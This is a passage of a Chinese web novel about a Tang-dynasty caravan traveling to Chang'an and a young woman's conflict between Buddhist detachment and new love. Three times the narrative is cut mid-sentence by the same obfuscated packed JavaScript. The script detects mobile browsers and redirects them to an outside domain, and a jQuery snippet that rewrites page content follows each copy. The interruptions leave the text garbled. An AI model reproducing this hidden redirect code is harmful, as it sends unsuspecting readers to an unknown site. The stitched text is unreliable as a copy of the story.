音并非大多数男人都会吹的口哨,而是从喉咙里发出、类似笛埙的声音。马群立即慢下来,他没空跟阿忍说话,只是摆摆手叫她跟上,继续把马群赶到了营地。 章堂站在骆驼边,奇道:“怎么是马?” “我们刚离开的县太小了,找不来这么多骆驼。”伽衡跳下来,给他解释道,“只是骆驼平均能驼四百多斤的货物,借来的这些是河曲马,撑死了也就能驼三百斤,因此借了六十匹,但一日内又走得多一些。” 章堂把用了多少银子、骆驼寄给了谁、养伤多少钱、马匹怎么还问了个清清楚楚,又商量了一阵后面如何追赶上路程,全安排清楚后雪已经停了。月光很亮,照得整片雪地都都在发光,即使闭上眼也能感受到四周朦朦胧胧的光晕。伽衡随手捞了把雪,一边在手心里捏成小兔子的样子,一边往阿忍的帐篷那边走。他好歹知道不能随意将女孩的帐篷掀开,在外面问了一句:“你方便说话吗?” 阿忍从里面拉开门帘,笑盈盈的,手上在用针线改那件新的梅花袍衫,已经改成男款的了。伽衡回来的时候紧盯路况,雪上又反光,看得眼睛酸疼,只大概知道阿忍是穿了件深红色的袍衫在等自己的,脸比天上的月亮还要光洁,当年的王昭君应该也不过如此。当即急道:“我回来的时候没有看清楚……你怎么把衣服改了?” 她脸上闪过一瞬间的失望,低头说:“我改给曹沛沛的,他没件像样的冬衣。” 两人相对沉默了一会儿,伽衡捏好了兔子,放在她手里,于是刚被他手的温度融化的表层雪水就顺着她的手腕往下流。阿忍突然回过神,连连说自己该睡了,将雪兔子粘外面的石头上就将门帘放了下来。伽衡一头雾水,站起来徘徊一阵,“你是不喜欢兔子吗?” 里面沉默片刻,小声道:“不是,我真要睡觉了。” 伽衡思索片刻,确定她就是不喜欢兔子,但是自己就只会捏兔子,一时间又懂了汉人“书到用时方恨少”的感慨。他坐在石头上开始专心致志地尝试,阿忍在里面努力想睡着,又忍不住睁眼看他映在帐篷上的影子,从额前搭着的一绺卷毛到薄而高挺的鼻骨、下颌、喉结,她从前怎么就不觉得胡人的相貌好看呢? 见他半天就是不走,她默默叹了口气,撑开门帘,兀自抓了一捧雪就开始捏,像对待泥塑那样。没有最后精雕的刀片就用指甲刻,她的指甲略比甲床多出一点,不怎么好用,但最后把一只雪骆驼递给伽衡的时候还是让对方大为惊奇。 骆驼细瘦的四肢不好捏,所以造型是趴卧着的,扬着弧线优美的脖子。 当然在感叹其手艺巧夺天工的同时,他也在想,她果然就是不喜欢兔子。好复杂的汉人,她明明可以说出来的!想来之前也一定是因为在某件事上得罪她了,她的态度才忽冷忽热的。伽衡一时间想问清楚,以免后面再犯同样的错误,可是阿忍自己不喜欢把话说穿,一定也不喜欢别人把话问穿...... 9. 知幻即离 伽衡还以为她看到尸体的死相会被吓到,阿忍却相当冷静地重新盖上白布,将一只手虚虚按在他身上,轻声道:“如是我闻。”她诵《地藏经》的速度极快,伽衡第一个字还没听清楚时,十余个字已经从她的唇中溜过。她只挑选了一部分念,一会儿便停了下来,朝着尸体双手合十、闭眼低眉。随后对他道:“他是个善人,有好去处。” 他知道她在说六道轮回的事,却只是注意到她脸色苍白,“你没事吧?” 她摇了摇头。“虽然是第一次见这样的场面,但是比起害怕或者恶心,我心中......满是怜惜。”她说到这里的时候刚好抬头看伽衡,一滴眼泪无意识地掉落下来,很干脆、纯净的一滴。伽衡完全呆住了,等他反应过来的时候,自己已经伸手帮她拭去了那一滴泪。 两人同时回归了正常状态,阿忍几乎是向后跳开一步,低下头去。伽衡见过横死的人太多了,想必自己将来也是一样的死法,和牲畜一起死在野外,谁也不比谁臭的晚。然而,然而阿忍的神情是那样庄严慈悲,让他为她的悲哀而感到悲哀,为她的善心而发出善心,他本不信《地藏经》能超度死者亡魂这种说法,人死了就死了,哪里有这么好的事? 都说有伽衡的队伍不可能死在沙漠里,很重要的一点就是他永远做好最坏的打算。如果带着的水能喝十天,他必然会规划一条第七天就到河边的路线。天道是很残酷的,它永远在伺机杀你,你要随身带着刀剑。 所以人死了,还能有下一辈子这种好事,老天难道会允许它发生吗? 他不信。但是阿忍说什么就是什么。 闻辩绕开人群,独自走到被卸下的货物边,打开木箱,赵无量的泥塑就被红布包着,静静地立在里面。这样有五窍的泥塑都要用红布包,以免什么不干净的东西附身,赵无量甚至用绳子打了死结、贴了封条,避免任何人中途打开看。 伸手去摸,别人可能会因为感受不到泥塑的细节而无法判断具体是什么像,但是他心下立刻了然,不是有伽衡那样与生俱来的天赋,而是因为太熟悉了。 他的手在塑像面部抚摸了几下,轻轻盖上棉花、合上木箱。转身叫来章堂,吩咐道:“今夜无论如何不能留在这里驻扎,还请大家无论如何出了山再歇息,一人给三十贯。快去叫他们尽快启程。”章堂领命去了。他又绕开人群回到自己的骆驼身边,骑上去,把手插进它脖子的绒毛里取暖。他觉得冷的出奇。 杂役们于戌时三刻整顿好货物和牲畜,打起火把继续行进。阿忍的马车是不能坐了,伽衡便把巴瑞施玛给她骑,这骆驼是他从小调教出来的,把它扔在千里之外它也能识途找回来。 阿忍于是走到它面前,拍了拍它的吻部,“巴瑞施玛,趴下来。” 骆驼瞥她一眼,巍然不动,满脸写着“都说了我是我主人调教好的”,伽衡便从后面走过来道:“我抱你上去吧。” “啊?不不,”她慌乱地用手去够巴瑞施玛的背,“你趴下来嘛。”虽然说又不是没抱过,但刚才是特殊情况,都没意识到发生了什么。现在回头看见伽衡满脸真诚地站在那里,又回头看看气定神闲的巴瑞施玛,还是本着不想耽误启程的心理答应了。 伽衡不是横着抱的,那样她不好直起身上骆驼。他蹲下握住她两条小腿,慢慢站起来,阿忍只好坐在他左肩上,双臂挽住他的脖子。他身上的衣服又冷又湿,然而体温正隔着两层层布料传到阿忍大腿上,她的心砰砰狂跳起来,僵直着一动不敢动,即使伽衡扛得很稳。她把手挪到巴瑞施玛的驼峰上,跨上去,伽衡笑着送开手退后两步。 好高,她紧紧攥着缰绳,顿时有种掌握全局的自信感。向前一看便知道闻辩正在和章堂说话,还没开始走动,便向伽衡招了招手示意他过来。伽衡只当她怕高,一边再次靠过来,一边道:“没事,只要你不睡着就掉不下来的……” 第一次以这种角度看伽衡,他的发型从上面看还挺好看,两边的麻花辫向后收到一起,用一颗珊瑚珠子固定起来,以免长发飘到脸上遮挡视线。她用袖子内衬给伽衡擦了会儿头发,小声道:“这种天气湿着会留下头风的。” 换伽衡不知所措了。他最终虚虚张开双臂,怕她双手都离开缰绳会失去平衡。 一会儿她就缩回去,耳朵红的像要滴血,静默片刻,又以一种公事公办的口吻道:“今天是怎么一回事,方不方便和我说?” “具体的不行,”他低声道,“但是......那些骆驼并非被人打过,看伤口便知道是它们自己在树上或者木桩上蹭的。骆驼这种动物,一旦有个蚊子包都会使劲儿蹭,直到蹭破、吸引蛆虫来,引起恶性循环。有的骆驼能因蚊子包而感染死亡。所以队伍里只要有个人把熟烂的水果汁液抹在它们腿上,就能招来蚊虫,发展成这个样子。所以我一开始就说另有贼人,以免打草惊蛇,更不好私下多透露么……” “噢,没关系,”阿忍立刻道,“我保证不是我!这话也不会跟别人说的。” 伽衡一下子笑出了声,“不不不,我就是解释一下为什么闻辩叫我别乱说。别不高兴就好。”前面的队伍已经动起来了,他拉着巴瑞施玛的鼻勒,一双明亮的眼睛望着她笑,“阿忍姑娘,我来为你牵骆驼。” 旁边的曹丰年阴阳怪气地学他:“哟哟哟,阿忍姑娘~” “你要叫赵娘子,”伽衡回呛他,“人家跟你不熟,真没礼貌。” 后面就是伽衡和曹丰年极其幼稚地口头攻击,阿忍把脸埋进巴瑞施玛的毛里,假装什么也听不到。她觉得自己的思想好像出了点问题,但她不愿细究,不愿想,当下只是考虑起塑像的事情来。义夫在制作塑像的时候曾不经意提起,是给赌坊做的,可是连哥舒将军求的关公像他都只做了一个月,这件成品光是细泥造型的步骤就花了两个月,更别提后面还上了色。究竟是什么大人物让义父这样费心?她觉得可能要到长安才能亲眼看见答案。 郑枥的腿也在这次意外中砸伤了,有时也和她一起骑巴瑞施玛。巴瑞施玛怪不情愿的,逮着机会就往他脸上吐口水。过了大震关,到分水驿,她就立刻给义父写了信讲述了途中的遭遇。 此后他们一路疾行,过凤翔府、兴平县,到了马嵬驿,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001933|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时所有人都对这里将要发生的惊天事变无知无觉。此行走的是沿渭水河谷的南路,到咸阳前的最后一站是茂林南的温泉驿,再往前南北路的商人便汇聚于咸阳。 她不敢想象长安是什么样子的,光是咸阳便让人望而驻足、目不暇接,踌躇于城门时第一次意识到她的沙州不过是个黄土和沙垒砌的边陲小城。咸阳驿旁边有座石桥,很多人牵着马在这里说话,伽衡来过多次,早已见怪不怪:“这是也叫渭城驿,是送别的地方。” 于是想到那句“渭城朝雨浥轻尘”,原来王摩诘先生的诗是在这里写的;又想起“一驿过一驿,驿迹如星流;平明发咸阳,暮到陇山头”,她竟是全见识过了。闻辩看时间来得及,提议可以在这里停留几日修整一下,伽衡不怎么赞同,一个劲儿催着他去长安。闻辩想他明明该希望拖延一下路上的时间才对,怎会如此着急地赶路,随后又想到不剩几日便是正月十五,长安的上元节将燃灯接待各国使者,那天万国来朝、夜舞鱼龙,男女老少通宵达旦地庆祝。 闻辩于是知道他想和阿忍一起去看,心中烦躁,但他又知道阿忍一定也是想去的。前天雨夜,她扣响房门问他“知幻即离,离幻即觉”这句话是不是有问题。人“知幻”以后,为什么就一定会“即离”呢? 他答:“这确实是一个问题,‘即’字用在这里太敷衍了事了,还得是有慧根的人。修行者能做到离,不适合修行又没机缘的人强求不来。” 她静默了一会儿,屋外的大雨打在青瓦上,整个世界都在这样响动的声音中昏睡。“您是修行者。” “我是,并非因为我悟出了设么道理......就像老人吃得少睡得少,是因为不喜欢吗。”他笑道,用一根手指叩了叩腰间悬挂的宝剑,“你有没有疑惑过,一个不会武术的人为何佩剑?此物是我的传家宝,少年出门时便带在身上了,哪个没慧根却心志坚定的人偏要修行,我倒可以用它助其一臂之力。” 阿忍打趣道:“怎么助?抵着他的脖子,说你不‘离’我就刺你?” “这就如方术,看你信不信了。” 深深的无力感让他一阵头痛,闻辩摆摆手,说明日就走。 伽衡回到杂役们休息的院子里。曹丰年正与几个胡人一起编草唱歌,曹沛沛把一张纸片搁在膝头写信,汉人们聚集在一起躺着晒太阳闲聊,大家都抱着一种辛苦的旅程即将结束的雀跃心情——只有一个人与这惬意和睦的氛围格格不入,正皱着眉汗流浃背地练剑。 此人名叫安金,要论体型不如曹丰年高大,然而下盘稳健,结实的肌肉上青筋暴起,勇武非常,是去年岁首节比武的冠军。粟特人的岁首节相当于唐人的春节,并会举办为期七天的比武,这期间首都马拉坎达的人都要穿上新衣服,剪发修须,然后前往城外的空地进行为期七天的比武。最后一天的时候,国王会把一枚金币放在靶上,射中者会成为“一日之王”,可以在这一天内为所欲为。安金去年先是杀了六个有过节的人,强占了一个正准备出嫁漂亮姑娘,第二天就被愤怒的人群唯独在家门口,这才从后门逃出来加入商队、远走高飞。 10. 长安,长安 今年六月的时候,商队正好经过马拉坎达,他们便留下一同庆祝岁首节。安金再次参加了比武大赛。他一路所向披靡,甚至驯服了一匹踩死过五个人的烈马,最后快要射中金币的时候,一个人影半道杀出,竟是汉人长相,五官端正、丰润俊美,空手按住了他的弓。周围的观众嘘声一片,坐在国王身边的闻辩平静道:“素来听闻贵国热情好客,崇尚强者,总不会因为是汉人就不让他比赛了吧?” 国王瞥了一眼汉人,又瞥了一眼虎背熊腰的安金,挥了挥手道:“无妨。” 比赛继续,安金扔下专门用来射金币的大弓,抽出剑与他打起来。安金身形敏捷、短小精悍,猫着腰直刺过去,汉人跳起避开,竟然踩在他的剑背上借了一下力,手臂带住他的脖子往地上一掼,将胡人摔在地上。对方躺着抡剑砍他脖子,他立刻退后几步,其步履诡谲、轻盈迅速,叫那胡人一阵严密的剑法也没砍到。 说实在的,因为只有这几天在马拉坎达的男人能参加比武,所以整片草原上比安金更勇武的应该大有人在,被一个陌生人打败也不稀奇。但是这个汉人的压制太过于明显,剑从头到尾都没出鞘,这是不多见的。闻辩盯着他的脸思索之际,此人似乎不欲再纠缠,在安金斜劈过来时,侧身让开,一脚踢中剑背,安金被震的虎口发麻,就在他没握稳剑的那一秒钟内汉人的拳头已然到来,落在他下巴上,使他身子仰着向后倒去。 一时间人们都没反应过来发生了什么,皆是瞠目结舌地看着他。汉人朝着国王恭敬地行了叉手礼,道:“解某并非来捣乱,也冒犯之处,还请陛下恕罪。只是确实有一事想要办到。请你们把这城里一个叫谡拙的人叫来,我要与他比试一场。” 安静的人群中浮现出低语声,但始终没有人动,直到一个女人犹犹豫豫地朝他喊:“你说的谡拙,是一个齐项剪发、脸很窄的男人吗?” 汉人疑惑道:“你们这里的男人不是都长这样吗?” 女人有点不好意思地补充道:“现在不太流行了……他鼻子被打断过,是歪的。” “啊!是他!”汉人一下子激动起来,“你认识的话,就请让他来见我。” “他是我外祖,很早以前就去了......怎样去的?太老了,被痰憋死的。”女人奇道,“您又是怎样听说他的?” 汉人脸上浮现出一种奇异的神色,他的手原来搭在未出鞘的剑柄上,现在缓缓垂下了。“原来如此,”他低头道,“我曾听一位长辈提起他的名字,说他勇武绝伦......这也是当然,怪我太愚笨冲动,竟忘记他早该老了。” 周围发出一阵喟叹声,不知道是不信还是唏嘘,汉人苦笑起来,他仰起头看了一会儿天空,西域的天空瓦蓝瓦蓝的很干净,和一百年前、几千年前没有两样。没有留下姓名,也不再多说一句话,他向四周的观众抱了抱拳便离开空地,骑上来时的白马疾驰而去。在这之后很长一段时间内,他都成为商队内众人津津乐道的对象,除了闻辩和安金,前者永远风轻云淡,后者始终耿耿于怀,花上了比原来更多的时间练剑。 上次他连发五箭却一箭也没射中,再加上曹丰年又是个刻薄的,两人互相嘲讽着就打起来了,周围只有起哄的没有劝架的,直到闻辩冲过来说再私自斗殴就开除才终止了这场闹剧。伽衡本来也对他印象不怎么样,见他站在门口将那寒光闪闪的金属舞地呼呼生风,敲了敲门框,“让一让。” 安金回头,“是你,老见不到你,差点不认得。” 这话说得真奇怪,伽衡皱眉道:“什么叫老见不到?我哪天不是队前队尾地跑,你这话要闻辩听见了,他会以为我偷懒,要扣钱的。” “谁说你偷懒了?我是说你成天绕着那个赵娘子转,都看不见正脸。” 这话说得更奇怪了。 “东家最信任我。”安金又说,“甚至愿意让我看护泥塑。但他希望你离赵娘子远一点。” “你有病吧?” “而且我可以看那尊泥塑。你知道泥塑雕的什么东西吗?” 伽衡一点儿也不关心,推开他走过去了。安金素来都是这样,炫耀闻辩对自己的信任时就和孩子炫耀父亲的信任一样。 五日后,他们来到距长安西十里、开远门外的小严村附近时,阿忍已经紧张地下来步行了。后来的史书写道“自安远门西尽唐境万二千里,闾阎相望,桑麻翳野,天下称富庶者无如陇右”,可见这条从长安延伸向西域的线路是怎样空前繁荣、盛极一时。从这里开始,穿着官服、说着官话的人随处可见,他们骑着金玉做鞍的高大骏马,揣着一两道圣谕或身负重任,匆忙又矜持地从这些小商小贩身边走过。阿忍闭着嘴,不敢用沙州口音说话。 他们是从开远门进城的,守卫检查了过所后还细细地检查了遍货物,每个人都要盘问来有目的。阿忍闭着眼走进去,过了两秒才睁开眼,看见笔直宽广的街道一直从脚下蔓延到看不见的远方,两侧商铺鳞次栉比、目不暇接,人简直比天上的星星还要多。她看清的第一波人,就是三个年轻漂亮的男子——不,是女子,狂甩马鞭往东方疾驰而去了。她们穿的男式圆领袍,脚下蹬的细长的黑皮靴,马的鬃毛尾巴都梳成了五花三络,英姿飒爽、笑声如雷,眨眼间路上就只剩扬起的尘土和回音了。 这一幕就是阿忍对长安最初也是最深刻的印象,她强盛,所以她的女人自由。 其实男装的潮流随着大唐的繁荣而繁荣的。武德贞观年间,妇人出门还需戴幂篱,把全身都遮住;高宗年代,这幂篱就缩短成帷帽,只遮面部;玄宗年代就连这也不兴戴了,女人画着漂亮的妆容、穿着漂亮的衣服昂首挺胸地上街,甚至直接男装。随着民风越来越开放,男女间也不像前朝那样紧张,只是老人们看不惯,穿上男装好像就更容易让人接受了。 伽衡来与她说话的时候,她自己都不知道自己流了泪。伽衡明白她在想什么,自己第一次来长安时也是被其富贵开放惊得瞠目结舌,那时阿史那哈尔在他身边平静道:“她们能骑马上街,我的姐妹却在酒楼做舞女。”离白眉可汗被杀已经过去了两年,毗伽可汗妻骨咄禄婆匐可敦率众归唐,白眉可汗的头颅被送到长安,一并来的还有年轻美貌的突厥女人。阿史那头一次来长安做生意时,与朋友约着去了平康坊,在那里看到了他同父异母的妹妹。 当时真是闹剧一场,他冲到舞台上大喊大叫,妹妹含泪道:“我丢了家族的脸面,你就别认了吧。”言罢推开他往里走,火伏为了追他,和几个士兵打起来了,最后被官府抓去打了二十棍子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001934|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。伽衡并不在场,听他讲来却是云淡风轻的语气,他说妹妹后来自杀了,因为阿史那在突厥语里的意思是“高贵的狼”,高贵的狼不能困在汉人的酒楼里,死也要死在草原上。 不过阿忍真幸福呀,你是汉人呢。他笑着拍了拍她的肩膀:“你想要男装,我便去帮你买一套。” 原来阿忍是他一凑近就躲,近日也不怎么躲他的轻微肢体接触了,拭泪笑道:“这便不必了,想来我穿男装并不好看,我也更爱裙子一些。”她迫切地想走进街道看看,但闻辩生怕他们跑开了,勒令所有人先去通化坊内的都城驿登记住店,去晚了可就没位置了。她只好先跟商队走着,都城驿里胡人占了绝大多数,还在这里第一次见到了黑皮肤的昆仑奴。伽衡一路上都在跟熟人打招呼,她打趣道:“你熟人还挺多的嘛。” “熟人多,‘故人’可不多。我下午便要去见一个故人,晚上就回来,给你带吃的。” “驿站里有吃的,你与朋友相见,应该多聚聚。” “他们要去平康坊,我的意思是,我只去吃杯酒便回来。” “与我说这些干什么。”她笑道,带着自己的包袱上楼去了。不一会儿闻辩也上来与她商量事情,什么时候去拜谒王摩诘、什么时候送赵师傅的货物云云,一一安排好后与她一起盘腿坐着吃茶。闻辩今日兴致颇高,他说长安富贵人家的标配有三样,新罗婢、菩萨蛮和昆仑奴,然后跳转到了一个看似不相干的话题:“你不如猜猜安金身世?” 阿忍早就发现安金的皮肤比曹丰年他们黑很多,只是长年受日晒的汉人也这么黑,现在才有了猜测:“他莫不是粟特人和昆仑奴私通所生?” “答对了,安金原没法有手实,到哪里都是浮浪户......我给他弄了一个。名字也是我取的,母姓是安,希望他金声玉服。”闻辩悠悠道,“他得以出城后就回马拉坎达和母亲一同居住,犯事后又回来,求我给份工作。有没有品格操守还有待商榷,不过好歹懂得报恩,委之以重任也能放心。” 这个矮小的、阴郁的、永远怀着怒火的男人,十二岁那年从这座都城驿的后院翻进来找闻辩求一张手实,代价是自己能为他而死。闻辩说这对我来说很容易,但我不稀罕你的命。这世上大多数人都是他能一眼看穿的,看穿他们贫瘠、乏味、一钱不值的几十年光阴,这个少年也是同理,他原先感到优越,后来开始怜悯,再后来万事无所谓,帮不帮看心情。 安金哀求、威逼、恐吓,闻辩叫了两个杂役把他请出去。说是请,两个大汉拉着他的手臂就一路拖到后院、关上大门,他又骂“不得好死”又喊“菩萨开恩”,最后闻辩打开门说我帮你办算了,你直接回家去吧。 “你不要我为你效命?” 闻辩听着他的......童音,轻轻笑了一声,这笑声便化成了往后数十年抽在安金身上的鞭痕,在他想要懈怠的日子里隐隐作痛。他的武功练的出类拔萃,并非出于热爱或是荣誉,纯粹是一口恶气——针对所有人,尤其是闻辩的。手实是一个人的身份证明,平白相赠就是羞辱,表明他的身份卑贱到一钱不值。他练剑,他沉浸在仇恨与恶意的漩涡里,他越发觉得活着没什么意思......但他在为闻辩准备一场高贵的、伟大的、勇武绝伦的战死。 11. 耳坠 闻辩与阿忍道别后,走到驿站大堂吃饭喝酒的商人里转了一圈,主要是想看有没有给他的信。邮驿仅供官府使用,寻常人家送信都是托人捎带,最常见的就是托给商人。然而山高路远、意外横生,真能交到本人手里少之又少,可想收到一封家书当真比收到一万两黄金还要珍贵。好在他不缺钱,若是急切地要通书信,会派专门的人快马接送,现在也只是碰碰运气而已。 他与郑龟年约定的是到长安后付报酬,郑龟年没主动提起,他也不着急,总之是跑不了的。好不容易来一趟长安,还带着阿忍这样的客人,自然要流连一番。 伽衡晚上如约回来了,带了荷叶包的葱醋鸡,她其实也没吃晚饭,她偏说吃过了,放在桌上吧。他如今已经熟悉汉人的许多规矩,将门窗都打开——这样便不算孤男寡女共处一室,反正也不是谈什么私密的话;拖开一张凳子——万万不能坐女子床上,这才高兴道:“我见到朋友了。说来好笑,他有一枚象牙雕的戒指,稀罕得很,谁买都不给,今日醉酒后便扔给歌姬了。等他明早清醒过来,不知道要后悔成什么样......说不定也不后悔,那歌姬确实漂亮。不过还是比不上你。” 他身上的酒味其实也很重,但是脸色、举止与平日无异,想来是千杯不醉的酒量。阿忍发笑道:“可别胡说。还有,我一个工匠之女倒没什么要紧,下回要夸别的良家姑娘可不能将其与歌姬作比。” “记下了,但我没别的良家姑娘要夸。看看这个,”他手上一直抱着一个薄薄的木匣子,现在递给她,“闻辩一落脚便给我们发工钱了!” 她接过放在膝头,眼眸月牙般弯着,反手便从袖子里掏出一对丝绢包着的耳坠。伽衡惊得连忙用双手做出捧的姿势,她不给,小声道:“这个要在后面摁紧,你背对我。”她挑的时候发现耳坠都是一个勾的形状,想到伽衡动来动去容易掉,特意问了店主。店主便给她推荐了这一款,背后有个金质暗扣,可以用手捏合。缺点是暗扣很小,需要纤细的手指帮忙才能取戴。 早些时候她就观察到伽衡有耳洞,想起来就掰一小截植物根茎堵着,没想起来就任由它长拢,所以现在戴起来估计会涨得疼。她先揉了一会儿,感觉他的耳垂越来越烫,慌忙给戴上。其实伽衡后来之所以不戴耳坠,就是因为和牲畜接触得多,牲畜看着个亮闪闪的东西晃来晃去就爱咬,自己的嘴容易被戳伤不说,有一次还硬生生将他耳垂割成两半。 但他现在什么都没说,任由阿忍死死地固定好。走到镜子前,看见耳坠主体是细长水滴形红玛瑙,下面坠着一粒极小的孔雀石,青翠欲滴,和他眼睛的颜色一样。 他想长安的奸商很多,听出阿忍是外地口音必然要虚抬价格。然而阿忍兴致正高,他便不提此事。 阿忍不敢盯着他的耳朵细看,那孔雀石亮的惊人,看它便如看他的眼睛。她开始后悔起来,怎么第一次给一个男人送礼物就送首饰,这也太奇怪了,他不会发现我觉得他很好看、应该好好装扮装扮吧?越想越觉得脸在发烧,立刻一本正经地补充道:“我是和曹沛沛一起出门的,他办成仆役模样,我戴了帷帽,这是合规矩的。我还给黄三树的女儿带了连环锁,给郑枥带了双鞋子,给很多人都——” 伽衡蹲在她面前笑,故意偏了一下头,那双耳坠跟着一荡。 她什么都说不下去了。 “谢谢阿忍,我好喜欢,我肯定比他们都喜欢你的礼物。你不如看看我送的什么?” 她放弃负隅顽抗,低头顺从地打开了木匣子。是一件齐胸裙。她的衣服都比较朴素,主要是灰白黄三色,那一件稍微豪华些的袍衫还改给了曹沛沛,齐胸裙这样大胆的装束还从来没有试过,更何况轻轻一拨,看见了包裹在衣服里的......诃子。她猛地关上木匣,差点夹到手指。 “我不是说你要用这个穿裙子才好看,”伽衡见状立马解释,“我只是看你骑骆驼、疾走颠得难受,长安的娘子都是穿这个骑马的。”阿忍一连“哎”了几声,蹦起来,一边不住地道谢一边把他推到门外关上了门。她关紧窗户,用手抚摸良久,这诃子缎面光滑、挺括厚实,还有弹性,即使想到是个男人买给自己的,但还是耐不住好奇。她慢慢褪下衣物,解开裹在胸前的布条,确实在颠簸的时候难受得很。我也不过关注他有耳洞,他怎么看这个? 一面恼羞,一面扎束好两根带子,将诃子穿好,再蹦跳几下果然觉得安稳多了。再说,外形上看着确实更加挺翘,是两个半球曲线。他送的齐胸裙是毛织料的,冬天穿正合适,披帛飘逸而下,裙幅落地生花,还是她很喜欢的深红色。这厚重的的冬裙一穿上,胸前穿没穿诃子其实就看不出来了,他当真是想让她舒适一些。她心情复杂地想,沙州少见这东西,女人干活时都是拿布条勒,从来没有人告诉她可以穿这个。没出过远门的女人不知道,出过远门的男人不关心。 若非伽衡又不懂规矩或者说不屑守规矩,她还会像大多数女人一样,把痛苦沉默地延续下去。 外面突然有声音:“怎么样呀?” “你还不走!” “我知道我又说错话、做错事了,但你又不会真生我的气。倒不如让我瞧瞧裙子合不合身,我是估着你的尺码说的。” 阿忍忍着笑道:“你估得很对嘛。今天就别想看了,等到明天......” “明天你愿意和我一起逛灯会吗?” “看心情吧。”她背靠着门无声地笑了,伽衡在外头也是背靠着门,两人很有默契地不说话,都假装走远了。室内门窗紧闭,昏黑静谧,她长长吁出一口气,试图缓和鼓点般重重击打在五脏六腑上的心跳。 菩萨给过她警示。在之前的十余年里,她别无二心地爱着她:倘若与僧侣在高堂古佛前,对坐辩经,她便会讲苦集灭道,讲自己意欲断绝妄念、远离诸苦,不种因也不收果;倘若与有缘人萍水相逢,恰被问起,她便要说她是立志证道的人,将来去往极乐净土,小小的幻象又何足道哉。她是在赵无量的石窟里睁开眼睛的,当时正值日出,漫天金光,诸佛慈悲的望着她笑。这是她的第二次生命。每日的参禅打坐让她离正法越来越近,即使本性藏锋守拙,别人问起,自也有一番妙理可以细细道来。 她知道伽衡的每一句话背后是什么意思,但是她从未像自己预料般地说出这些道理,一次都没有过。因为自己现在都怀疑。 为什么知幻要即离?汝爱我心,我怜汝色,以是因缘,经百千劫常在缠缚。然而无论是“心”还是“色”都是一场幻梦中的偶然,如来说“观身不净,观受皆苦,观心无常,观法无我”,可知连“我”都是不存在的,我不在,我也无处不在,爱念便是围绕着这一切的虚妄梦魇而生的假东西,叫人在安宁中无谓地生出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001935|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忧怖。她同意,她完全同意。然而断除我执,由此无拘于五行之内、不在六尘之中,跳出因果、不堕转轮,便是无忧无怖,她便茫然了。 就是圣人写出这些东西的时候,也该在五行之中吧,凭什么就敢说五行之外就能无忧无怖?阿忍冥顽愚钝,如今初尝爱念滋味,竟觉得那不生不灭的西方世界要比这场五蕴炽盛的梦魇还要可怖。倘若有个伽衡与她之间毫无挂念、就像一棵树与另一棵树的关系那样的世界,她是绝不愿跳进去的,至于现在,无常不无常又有什么所谓。 我每一声心跳、每一滴泪都比真理要真。 与此同时,长乐坊内云霄赌坊。 一个女人坐在最高的楼层上,身后是一面巨大的春雪红杏屏风,鎏金卧龟莲花纹五足银熏炉上烟气袅袅,此香名为九真香,传闻是赵合德献给赵飞燕烧的。两个侍女在暖香的氛围中几乎挨着墙睡着了,她也没叫醒,只是独自坐在桌案前,凝视着半掩着的窗户。这种刷了油的窗纸透光性比一般的纸更好,但是风吹日晒也更易坏,她只是命人一遍遍地去换。 倘若商队雪夜回长安,她需闭着窗户抵御风寒,也能看见蜿蜒的火光流进城来。 今天下午仆人就告诉她闻辩回来了,她便更衣沐浴,一直在这里等着,等到现在也没见到人影。只怕明天都不会来。她瞥了一眼桌案上的镜子,镜中的女人以前名叫照影,现在被唤作闻夫人;以前风华绝代,现在徐娘半老。说是半老,不过也是眼尾长出细纹,嘴唇更薄、脸颊更瘦,那惊心动魄的美的痕迹并未消失。何况她的一颦一笑、一举一动的风姿仍是令人心生迷恋的,一个女人只要当过美人,一辈子都知道如何当美人。 门吱呀一声响了,两个侍女连忙站直,她回过头去,准备好的表情又松弛下来:“你也记得要回家。” 闻法冷着脸唤侍女取钱袋,他肩披白狐裘,消瘦的脸埋在绒毛中显得更加窄;取完便走,也不理会母亲。于是室内又恢复了安静,直到第二天中午门再次被推开。照影没有睡,回头时却没有半点憔悴、疲惫的模样,像是刚刚在那里坐下。 这回是她等的人了,闻辩朝她笑了笑,缓带轻裘、温文尔雅的样子与她十三岁见到的没有两样。一串杂役跟在他身后,人手托一个木盘,有的盛珍珠,有的放西域香料,有的摆白叠布......照影只略扫了一眼,便道:“怎么都只有一份?我说过的——” “另外一份一模一样的,我已遣人送到杨芹家去了。” 她这才眉开眼笑,拉住闻辩的双手,“还是官人对我的话上心。” “法儿怎么样?” “总之是不读书的,成天和那些朋友在外面鬼混。” 